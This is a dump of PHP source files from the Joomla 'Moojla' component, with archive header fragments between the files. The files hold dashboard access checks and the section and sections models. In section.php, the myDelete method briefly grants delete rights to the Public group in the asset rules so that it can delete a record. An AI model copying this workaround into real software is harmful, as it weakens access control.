'tag.access' => 'tag.access',
'tags.submenu' => 'tag.submenu',
'tags.dashboard_list' => 'tag.dashboard_list',
'tag_instances.access' => 'tag_instance.access',
'tag_instance.access' => 'tag_instance.access',
'tag_instances.submenu' =>
'tag_instance.submenu',
'tag_instances.dashboard_list' =>
'tag_instance.dashboard_list',
'cohorts.submenu' => 'cohort.submenu',
'cohorts.dashboard_list' =>
'cohort.dashboard_list');
// loop over the $views
foreach($viewGroups as $group => $views)
{
$i = 0;
if (MoojlaHelper::checkArray($views))
{
foreach($views as $view)
{
$add = false;
// external views (links)
if (strpos($view,'||') !== false)
{
$dwd = explode('||', $view);
if (count($dwd) == 3)
{
list($type, $name, $url) = $dwd;
$viewName = $name;
$alt = $name;
$url = $url;
$image = $name . '.' . $type;
$name = 'COM_MOOJLA_DASHBOARD_' .
MoojlaHelper::safeString($name,'U');
}
}
// internal views
elseif (strpos($view,'.') !== false)
{
$dwd = explode('.', $view);
if (count($dwd) == 3)
{
list($type, $name, $action) = $dwd;
}
elseif (count($dwd) == 2)
{
list($type, $name) = $dwd;
$action = false;
}
if ($action)
{
$viewName = $name;
switch($action)
{
case 'add':
$url = 'index.php?option=com_moojla&view=' . $name .
'&layout=edit';
$image = $name . '_' . $action. '.' . $type;
$alt = $name . ' ' . $action;
$name =
'COM_MOOJLA_DASHBOARD_'.MoojlaHelper::safeString($name,'U').'_ADD';
$add = true;
break;
default:
// check for new convention (more stable)
if (strpos($action, '_qpo0O0oqp_') !== false)
{
list($action, $extension) = (array)
explode('_qpo0O0oqp_', $action);
$extension = str_replace('_po0O0oq_', '.',
$extension);
}
else
{
$extension = 'com_moojla.' . $name;
}
$url =
'index.php?option=com_categories&view=categories&extension='
. $extension;
$image = $name . '_' . $action . '.' . $type;
$alt = $viewName . ' ' . $action;
$name = 'COM_MOOJLA_DASHBOARD_' .
MoojlaHelper::safeString($name,'U') . '_' .
MoojlaHelper::safeString($action,'U');
break;
}
}
else
{
$viewName = $name;
$alt = $name;
$url = 'index.php?option=com_moojla&view=' . $name;
$image = $name . '.' . $type;
$name = 'COM_MOOJLA_DASHBOARD_' .
MoojlaHelper::safeString($name,'U');
$hover = false;
}
}
else
{
$viewName = $view;
$alt = $view;
$url = 'index.php?option=com_moojla&view=' . $view;
$image = $view . '.png';
$name = ucwords($view).'<br /><br />';
$hover = false;
}
// first make sure the view access is set
if (MoojlaHelper::checkArray($viewAccess))
{
// setup some defaults
$dashboard_add = false;
$dashboard_list = false;
$accessTo = '';
$accessAdd = '';
// access checking start
$accessCreate = (isset($viewAccess[$viewName.'.create'])) ?
MoojlaHelper::checkString($viewAccess[$viewName.'.create']):false;
$accessAccess = (isset($viewAccess[$viewName.'.access'])) ?
MoojlaHelper::checkString($viewAccess[$viewName.'.access']):false;
// set main controllers
$accessDashboard_add =
(isset($viewAccess[$viewName.'.dashboard_add'])) ?
MoojlaHelper::checkString($viewAccess[$viewName.'.dashboard_add']):false;
$accessDashboard_list =
(isset($viewAccess[$viewName.'.dashboard_list'])) ?
MoojlaHelper::checkString($viewAccess[$viewName.'.dashboard_list']):false;
// check for adding access
if ($add && $accessCreate)
{
$accessAdd = $viewAccess[$viewName.'.create'];
}
elseif ($add)
{
$accessAdd = 'core.create';
}
// check if access to view is set
if ($accessAccess)
{
$accessTo = $viewAccess[$viewName.'.access'];
}
// set main access controllers
if ($accessDashboard_add)
{
$dashboard_add =
$user->authorise($viewAccess[$viewName.'.dashboard_add'],
'com_moojla');
}
if ($accessDashboard_list)
{
$dashboard_list =
$user->authorise($viewAccess[$viewName.'.dashboard_list'],
'com_moojla');
}
if (MoojlaHelper::checkString($accessAdd) &&
MoojlaHelper::checkString($accessTo))
{
// check access
if($user->authorise($accessAdd, 'com_moojla')
&& $user->authorise($accessTo, 'com_moojla')
&& $dashboard_add)
{
$icons[$group][$i] = new StdClass;
$icons[$group][$i]->url = $url;
$icons[$group][$i]->name = $name;
$icons[$group][$i]->image = $image;
$icons[$group][$i]->alt = $alt;
}
}
elseif (MoojlaHelper::checkString($accessTo))
{
// check access
if($user->authorise($accessTo, 'com_moojla') &&
$dashboard_list)
{
$icons[$group][$i] = new StdClass;
$icons[$group][$i]->url = $url;
$icons[$group][$i]->name = $name;
$icons[$group][$i]->image = $image;
$icons[$group][$i]->alt = $alt;
}
}
elseif (MoojlaHelper::checkString($accessAdd))
{
// check access
if($user->authorise($accessAdd, 'com_moojla')
&& $dashboard_add)
{
$icons[$group][$i] = new StdClass;
$icons[$group][$i]->url = $url;
$icons[$group][$i]->name = $name;
$icons[$group][$i]->image = $image;
$icons[$group][$i]->alt = $alt;
}
}
else
{
$icons[$group][$i] = new StdClass;
$icons[$group][$i]->url = $url;
$icons[$group][$i]->name = $name;
$icons[$group][$i]->image = $image;
$icons[$group][$i]->alt = $alt;
}
}
else
{
$icons[$group][$i] = new StdClass;
$icons[$group][$i]->url = $url;
$icons[$group][$i]->name = $name;
$icons[$group][$i]->image = $image;
$icons[$group][$i]->alt = $alt;
}
$i++;
}
}
else
{
$icons[$group][$i] = false;
}
}
return $icons;
}
}
models/rules/index.html000064400000000054151165724400011162
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>models/section.php000064400000055215151165724400010221
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage section.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Section Model
*/
class MoojlaModelSection extends JModelAdmin
{
/**
* The tab layout fields array.
*
* @var array
*/
protected $tabLayoutFields = array(
'details' => array(
'left' => array(
'courseid',
'section_id',
'name',
'visible',
'uservisible',
'summary'
)
)
);
/**
* @var string The prefix to use with controller messages.
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA';
/**
* The type alias for this content type.
*
* @var string
* @since 3.2
*/
public $typeAlias = 'com_moojla.section';
/**
* Returns a Table object, always creating it
*
* @param type $type The table type to instantiate
* @param string $prefix A prefix for the table class name. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JTable A database object
*
* @since 1.6
*/
public function getTable($type = 'section', $prefix =
'MoojlaTable', $config = array())
{
// add table path for when model gets used from other component
$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
// get instance of the table
return JTable::getInstance($type, $prefix, $config);
}
/***[JCBGUI.admin_view.php_model.131.$$$$]***/
public function myDelete($pk){
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('rules',
'id')));
$query->from($db->quoteName('#__assets'));
$query->where($db->quoteName('name') . ' = '
. $db->quote('com_moojla'));
$db->setQuery($query);
$results = $db->loadObjectList();
$acls = json_decode($results[0]->rules);
$deleteAcl = null;
$permission = 'core.delete';
if(!property_exists($acls, $permission))
{
$acls->$permission = new stdClass();
}
$pub = '1';
$acls->$permission->$pub = 1;
$obj = new stdClass();
$obj->id = $results[0]->id;
$obj->rules = json_encode($acls);
JFactory::getDbo()->updateObject('#__assets', $obj,
'id');
$obj = new stdClass();
$obj->id = $pk;
$obj->published = -2;
JFactory::getDbo()->updateObject('#__moojla_section',
$obj, 'id'); // trash item
$pks = array($pk);
$res = $this->delete($pks);
$obj = new stdClass();
$obj->id = $results[0]->id;
$obj->rules = $results[0]->rules;
JFactory::getDbo()->updateObject('#__assets', $obj,
'id');
return $res;
}/***[/JCBGUI$$$$]***/
/**
* Method to get a single record.
*
* @param integer $pk The id of the primary key.
*
* @return mixed Object on success, false on failure.
*
* @since 1.6
*/
public function getItem($pk = null)
{
if ($item = parent::getItem($pk))
{
if (!empty($item->params) && !is_array($item->params))
{
// Convert the params field to an array.
$registry = new Registry;
$registry->loadString($item->params);
$item->params = $registry->toArray();
}
if (!empty($item->metadata))
{
// Convert the metadata field to an array.
$registry = new Registry;
$registry->loadString($item->metadata);
$item->metadata = $registry->toArray();
}
}
return $item;
}
/**
* Method to get the record form.
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
* @param array $options Optional array of options for the form
creation.
*
* @return mixed A JForm object on success, false on failure
*
* @since 1.6
*/
public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
{
// set load data option
$options['load_data'] = $loadData;
// check if xpath was set in options
$xpath = false;
if (isset($options['xpath']))
{
$xpath = $options['xpath'];
unset($options['xpath']);
}
// check if clear form was set in options
$clear = false;
if (isset($options['clear']))
{
$clear = $options['clear'];
unset($options['clear']);
}
// Get the form.
$form = $this->loadForm('com_moojla.section',
'section', $options, $clear, $xpath);
if (empty($form))
{
return false;
}
$jinput = JFactory::getApplication()->input;
// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
if ($jinput->get('a_id'))
{
$id = $jinput->get('a_id', 0, 'INT');
}
// The back end uses id so we use that the rest of the time and set it to
0 by default.
else
{
$id = $jinput->get('id', 0, 'INT');
}
$user = JFactory::getUser();
// Check for existing item.
// Modify the form based on Edit State access controls.
if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.section.' . (int) $id))
|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
{
// Disable fields for display.
$form->setFieldAttribute('ordering', 'disabled',
'true');
$form->setFieldAttribute('published', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('ordering', 'filter',
'unset');
$form->setFieldAttribute('published', 'filter',
'unset');
}
// If this is a new item insure the greated by is set.
if (0 == $id)
{
// Set the created_by to this user
$form->setValue('created_by', null, $user->id);
}
// Modify the form based on Edit Creaded By access controls.
if (!$user->authorise('core.edit.created_by',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created_by',
'disabled', 'true');
// Disable fields for display.
$form->setFieldAttribute('created_by',
'readonly', 'true');
// Disable fields while saving.
$form->setFieldAttribute('created_by', 'filter',
'unset');
}
// Modify the form based on Edit Creaded Date access controls.
if (!$user->authorise('core.edit.created',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('created', 'filter',
'unset');
}
// Only load these values if no id is found
if (0 == $id)
{
// Set redirected view name
$redirectedView = $jinput->get('ref', null,
'STRING');
// Set field name (or fall back to view name)
$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
// Set redirected view id
$redirectedId = $jinput->get('refid', 0, 'INT');
// Set field id (or fall back to redirected view id)
$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
if (0 != $redirectedValue && $redirectedField)
{
// Now set the local-redirected field default value
$form->setValue($redirectedField, null, $redirectedValue);
}
}
return $form;
}
/**
* Method to get the script that have to be included on the form
*
* @return string script files
*/
public function getScript()
{
return 'media/com_moojla/js/section.js';
}
/**
* Method to test whether a record can be deleted.
*
* @param object $record A record object.
*
* @return boolean True if allowed to delete the record. Defaults to the
permission set in the component.
*
* @since 1.6
*/
protected function canDelete($record)
{
if (!empty($record->id))
{
if ($record->published != -2)
{
return;
}
$user = JFactory::getUser();
// The record has been set. Check the record permissions.
return $user->authorise('core.delete',
'com_moojla.section.' . (int) $record->id);
}
return false;
}
/**
* Method to test whether a record can have its state edited.
*
* @param object $record A record object.
*
* @return boolean True if allowed to change the state of the record.
Defaults to the permission set in the component.
*
* @since 1.6
*/
protected function canEditState($record)
{
$user = JFactory::getUser();
$recordId = (!empty($record->id)) ? $record->id : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit.state',
'com_moojla.section.' . (int) $recordId);
if (!$permission && !is_null($permission))
{
return false;
}
}
// In the absense of better information, revert to the component
permissions.
return parent::canEditState($record);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
* @since 2.5
*/
protected function allowEdit($data = array(), $key = 'id')
{
// Check specific edit permission then general edit permission.
return JFactory::getUser()->authorise('core.edit',
'com_moojla.section.'. ((int) isset($data[$key]) ? $data[$key] :
0)) or parent::allowEdit($data, $key);
}
/**
* Prepare and sanitise the table data prior to saving.
*
* @param JTable $table A JTable object.
*
* @return void
*
* @since 1.6
*/
protected function prepareTable($table)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if (isset($table->name))
{
$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
}
if (isset($table->alias) && empty($table->alias))
{
$table->generateAlias();
}
if (empty($table->id))
{
$table->created = $date->toSql();
// set the user
if ($table->created_by == 0 || empty($table->created_by))
{
$table->created_by = $user->id;
}
// Set ordering to the last item if not set
if (empty($table->ordering))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('MAX(ordering)')
->from($db->quoteName('#__moojla_section'));
$db->setQuery($query);
$max = $db->loadResult();
$table->ordering = $max + 1;
}
}
else
{
$table->modified = $date->toSql();
$table->modified_by = $user->id;
}
if (!empty($table->id))
{
// Increment the items version number.
$table->version++;
}
}
/**
* Method to get the data that should be injected in the form.
*
* @return mixed The data for the form.
*
* @since 1.6
*/
protected function loadFormData()
{
// Check the session for previously entered form data.
$data =
JFactory::getApplication()->getUserState('com_moojla.edit.section.data',
array());
if (empty($data))
{
$data = $this->getItem();
// run the perprocess of the data
$this->preprocessData('com_moojla.section', $data);
}
return $data;
}
/**
* Method to get the unique fields of this table.
*
* @return mixed An array of field names, boolean false if none is set.
*
* @since 3.0
*/
protected function getUniqueFields()
{
return array('section_id');
}
/**
* Method to delete one or more records.
*
* @param array &$pks An array of record primary keys.
*
* @return boolean True if successful, false if an error occurs.
*
* @since 12.2
*/
public function delete(&$pks)
{
if (!parent::delete($pks))
{
return false;
}
return true;
}
/**
* Method to change the published state of one or more records.
*
* @param array &$pks A list of the primary keys to change.
* @param integer $value The value of the published state.
*
* @return boolean True on success.
*
* @since 12.2
*/
public function publish(&$pks, $value = 1)
{
if (!parent::publish($pks, $value))
{
return false;
}
return true;
}
/**
* Method to perform batch operations on an item or a set of items.
*
* @param array $commands An array of commands to perform.
* @param array $pks An array of item ids.
* @param array $contexts An array of item contexts.
*
* @return boolean Returns true on success, false on failure.
*
* @since 12.2
*/
public function batch($commands, $pks, $contexts)
{
// Sanitize ids.
$pks = array_unique($pks);
ArrayHelper::toInteger($pks);
// Remove any values of zero.
if (array_search(0, $pks, true))
{
unset($pks[array_search(0, $pks, true)]);
}
if (empty($pks))
{
$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
return false;
}
$done = false;
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->contentType = new JUcmType;
$this->type =
$this->contentType->getTypeByTable($this->tableClassName);
$this->canDo = MoojlaHelper::getActions('section');
$this->batchSet = true;
if (!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
if ($this->type == false)
{
$type = new JUcmType;
$this->type = $type->getTypeByAlias($this->typeAlias);
}
$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');
if (!empty($commands['move_copy']))
{
$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');
if ($cmd == 'c')
{
$result = $this->batchCopy($commands, $pks, $contexts);
if (is_array($result))
{
foreach ($result as $old => $new)
{
$contexts[$new] = $contexts[$old];
}
$pks = array_values($result);
}
else
{
return false;
}
}
elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
{
return false;
}
$done = true;
}
if (!$done)
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
// Clear the cache
$this->cleanCache();
return true;
}
/**
* Batch copy items to a new category or current.
*
* @param integer $values The new values.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return mixed An array of new IDs on success, boolean false on
failure.
*
* @since 12.2
*/
protected function batchCopy($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('section');
}
if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
{
return false;
}
// get list of unique fields
$uniqueFields = $this->getUniqueFields();
// remove move_copy from array
unset($values['move_copy']);
// make sure published is set
if (!isset($values['published']))
{
$values['published'] = 0;
}
elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
$values['published'] = 0;
}
$newIds = array();
// Parent exists so let's proceed
while (!empty($pks))
{
// Pop the first ID off the stack
$pk = array_shift($pks);
$this->table->reset();
// only allow copy if user may edit this item.
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// Only for strings
if (MoojlaHelper::checkString($this->table->section_id) &&
!is_numeric($this->table->section_id))
{
$this->table->section_id =
$this->generateUnique('section_id',$this->table->section_id);
}
// insert all set values
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
if (strlen($value) > 0 && isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// update all unique fields
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
}
}
// Reset the ID because we are making a copy
$this->table->id = 0;
// TODO: Deal with ordering?
// $this->table->ordering = 1;
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
// Get the new item ID
$newId = $this->table->get('id');
// Add the new ID to the array
$newIds[$pk] = $newId;
}
// Clean the cache
$this->cleanCache();
return $newIds;
}
/**
* Batch move items to a new category
*
* @param integer $value The new category ID.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 12.2
*/
protected function batchMove($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('section');
}
if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// make sure published only updates if user has the permission.
if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
unset($values['published']);
}
// remove move_copy from array
unset($values['move_copy']);
// Parent exists so we proceed
foreach ($pks as $pk)
{
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values.
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
// Do special action for access.
if ('access' === $key && strlen($value) > 0)
{
$this->table->$key = $value;
}
elseif (strlen($value) > 0 &&
isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
}
// Clean the cache
$this->cleanCache();
return true;
}
/**
* Method to save the form data.
*
* @param array $data The form data.
*
* @return boolean True on success.
*
* @since 1.6
*/
public function save($data)
{
$input = JFactory::getApplication()->input;
$filter = JFilterInput::getInstance();
// set the metadata to the Item Data
if (isset($data['metadata']) &&
isset($data['metadata']['author']))
{
$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
$metadata = new JRegistry;
$metadata->loadArray($data['metadata']);
$data['metadata'] = (string) $metadata;
}
// Set the empty visible item to data
if (!isset($data['visible']))
{
$data['visible'] = '';
}
// Set the empty uservisible item to data
if (!isset($data['uservisible']))
{
$data['uservisible'] = '';
}
// Set the Params Items to data
if (isset($data['params']) &&
is_array($data['params']))
{
$params = new JRegistry;
$params->loadArray($data['params']);
$data['params'] = (string) $params;
}
// Alter the unique field for save as copy
if ($input->get('task') === 'save2copy')
{
// Automatic handling of other unique fields
$uniqueFields = $this->getUniqueFields();
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
}
}
}
if (parent::save($data))
{
return true;
}
return false;
}
/**
* Method to generate a unique value.
*
* @param string $field name.
* @param string $value data.
*
* @return string New value.
*
* @since 3.0
*/
protected function generateUnique($field,$value)
{
// set field value unique
$table = $this->getTable();
while ($table->load(array($field => $value)))
{
$value = StringHelper::increment($value);
}
return $value;
}
/**
* Method to change the title
*
* @param string $title The title.
*
* @return array Contains the modified title and alias.
*
*/
protected function _generateNewTitle($title)
{
// Alter the title
$table = $this->getTable();
while ($table->load(array('title' => $title)))
{
$title = StringHelper::increment($title);
}
return $title;
}
}
models/sections.php000064400000017453151165724400010406 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage sections.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Sections Model
*/
class MoojlaModelSections extends JModelList
{
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'a.id','id',
'a.published','published',
'a.ordering','ordering',
'a.created_by','created_by',
'a.modified_by','modified_by',
'a.courseid','courseid',
'a.section_id','section_id',
'a.name','name'
);
}
parent::__construct($config);
}
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @param string $ordering An optional ordering field.
* @param string $direction An optional direction (asc|desc).
*
* @return void
*
*/
protected function populateState($ordering = null, $direction = null)
{
$app = JFactory::getApplication();
// Adjust the context to support modal layouts.
if ($layout = $app->input->get('layout'))
{
$this->context .= '.' . $layout;
}
// Check if the form was submitted
$formSubmited =
$app->input->post->get('form_submited');
$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
if ($formSubmited)
{
$access = $app->input->post->get('access');
$this->setState('filter.access', $access);
}
$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
$this->setState('filter.published', $published);
$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
$this->setState('filter.created_by', $created_by);
$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
$this->setState('filter.created', $created);
$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
$this->setState('filter.sorting', $sorting);
$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
$this->setState('filter.search', $search);
$courseid = $this->getUserStateFromRequest($this->context .
'.filter.courseid', 'filter_courseid');
if ($formSubmited)
{
$courseid = $app->input->post->get('courseid');
$this->setState('filter.courseid', $courseid);
}
$section_id = $this->getUserStateFromRequest($this->context .
'.filter.section_id', 'filter_section_id');
if ($formSubmited)
{
$section_id = $app->input->post->get('section_id');
$this->setState('filter.section_id', $section_id);
}
$name = $this->getUserStateFromRequest($this->context .
'.filter.name', 'filter_name');
if ($formSubmited)
{
$name = $app->input->post->get('name');
$this->setState('filter.name', $name);
}
// List state information.
parent::populateState($ordering, $direction);
}
/**
* Method to get an array of data items.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getItems()
{
// check in items
$this->checkInNow();
// load parent items
$items = parent::getItems();
// return items
return $items;
}
/**
* Method to build an SQL query to load the list data.
*
* @return string An SQL query
*/
protected function getListQuery()
{
// Get the user object.
$user = JFactory::getUser();
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
// From the moojla_item table
$query->from($db->quoteName('#__moojla_section',
'a'));
// Filter by published state
$published = $this->getState('filter.published');
if (is_numeric($published))
{
$query->where('a.published = ' . (int) $published);
}
elseif ($published === '')
{
$query->where('(a.published = 0 OR a.published = 1)');
}
// Filter by search.
$search = $this->getState('filter.search');
if (!empty($search))
{
if (stripos($search, 'id:') === 0)
{
$query->where('a.id = ' . (int) substr($search, 3));
}
else
{
$search = $db->quote('%' . $db->escape($search) .
'%');
$query->where('(a.name LIKE '.$search.')');
}
}
// Filter by Courseid.
$_courseid = $this->getState('filter.courseid');
if (is_numeric($_courseid))
{
if (is_float($_courseid))
{
$query->where('a.courseid = ' . (float) $_courseid);
}
else
{
$query->where('a.courseid = ' . (int) $_courseid);
}
}
elseif (MoojlaHelper::checkString($_courseid))
{
$query->where('a.courseid = ' .
$db->quote($db->escape($_courseid)));
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering',
'a.id');
$orderDirn = $this->state->get('list.direction',
'desc');
if ($orderCol != '')
{
$query->order($db->escape($orderCol . ' ' .
$orderDirn));
}
return $query;
}
/**
* Method to get a store id based on model configuration state.
*
* @return string A store id.
*
*/
protected function getStoreId($id = '')
{
// Compile the store id.
$id .= ':' . $this->getState('filter.id');
$id .= ':' . $this->getState('filter.search');
$id .= ':' . $this->getState('filter.published');
$id .= ':' . $this->getState('filter.ordering');
$id .= ':' . $this->getState('filter.created_by');
$id .= ':' .
$this->getState('filter.modified_by');
$id .= ':' . $this->getState('filter.courseid');
$id .= ':' . $this->getState('filter.section_id');
$id .= ':' . $this->getState('filter.name');
return parent::getStoreId($id);
}
/**
* Build an SQL query to checkin all items left checked out longer then a
set time.
*
* @return a bool
*
*/
protected function checkInNow()
{
// Get set check in time
$time =
JComponentHelper::getParams('com_moojla')->get('check_in');
if ($time)
{
// Get a db connection.
$db = JFactory::getDbo();
// reset query
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_section'));
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
// Get Yesterdays date
$date = JFactory::getDate()->modify($time)->toSql();
// reset query
$query = $db->getQuery(true);
// Fields to update.
$fields = array(
$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
$db->quoteName('checked_out') . '=0'
);
// Conditions for which records should be updated.
$conditions = array(
$db->quoteName('checked_out') . '!=0',
$db->quoteName('checked_out_time') .
'<\''.$date.'\''
);
// Check table
$query->update($db->quoteName('#__moojla_section'))->set($fields)->where($conditions);
$db->setQuery($query);
$db->execute();
}
}
return false;
}
}
models/tag.php000064400000057652151165724400007337 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tag.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
